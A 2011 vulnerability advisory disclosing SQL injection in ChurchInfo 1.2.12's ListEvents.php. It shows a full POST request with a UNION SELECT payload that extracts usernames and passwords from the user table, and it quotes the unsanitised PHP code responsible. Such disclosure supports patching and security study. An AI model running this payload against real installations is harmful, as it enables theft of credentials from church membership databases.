:::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ 888_,o8P'88 .d888 888 Y88 MMMMP"` "YmmMMMM"" MMM YM [ Discovered by dun \ posdub[at]gmail.com ] [ 2011-01-01 ] ############################################################## # [ ChurchInfo <= 1.2.12 ] SQL Injection Vulnerability # ############################################################## # # Script: "ChurchInfo is a free church database program to help churches track members, # families, groups, pledges and payments..." # # Script site: http://www.churchdb.org/ # Download: http://sourceforge.net/projects/churchinfo/ # # [SQL] Vuln: http://site.com/churchinfo-1.2.12/ListEvents.php # # POST /churchinfo-1.2.12/ListEvents.php HTTP/1.1 # Host: site.com # User-Agent: Mozilla/5.0 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 # Accept-Language: pl,en-us;q=0.7,en;q=0.3 # Accept-Encoding: gzip,deflate # Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7 # Keep-Alive: 115 # Connection: keep-alive # Cookie: d4dad6935f632ac35975e3001dc7bbe8=49c5739b193271a0005a59b294a05da9; PHPSESSID=8aec7c6adbe96b4079c0150b3c54452a # Content-Type: application/x-www-form-urlencoded # Content-Length: 150 # # WhichType=-1/**/UNION/**/SELECT/**/1,concat_ws(char(58),usr_per_ID,usr_UserName,usr_Password),3,4,5,6,7,8/**/from/**/user_usr/**/WHERE/**/usr_per_ID=1 # # HTTP/1.1 200 OK # Date: Sat, 01 Jan 2011 15:39:10 GMT # Server: Apache # Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 # Expires: Thu, 19 Nov 1981 08:52:00 GMT # Pragma: no-cache # X-Powered-By: PHP/4.4.9 # Keep-Alive: timeout=2, max=200 # Connection: Keep-Alive # Transfer-Encoding: chunked # Content-Type: text/html # # # Bug: ./churchinfo-1.2.12/ListEvents.php (lines: 29-48) # # ... # require 'Include/Config.php'; # require 'Include/Functions.php'; // (0) You should be logged in as some user # $eType="All"; # $ThisYear=date("Y"); # # if ($_POST['WhichType']){ # $eType = $_POST['WhichType']; // (1) # } else { # $eType ="All"; # } # # if($eType!="All"){ # $sSQL = "SELECT * FROM event_types WHERE type_id=$eType"; // (2) # $rsOpps = RunQuery($sSQL); # $aRow = mysql_fetch_array($rsOpps, MYSQL_BOTH); # extract($aRow); # $sPageTitle = "Listing Events of Type = ".$type_name; // (3) # } else { # $sPageTitle = gettext("Listing All Church Events"); # } # ... # # # Bug: ./churchinfo-1.2.12/Include/Header-function.php (line: 37) # # ... # ChurchInfo: <?php echo $sPageTitle; ?> // (4) # ... # ############################################### [ dun / 2011 ]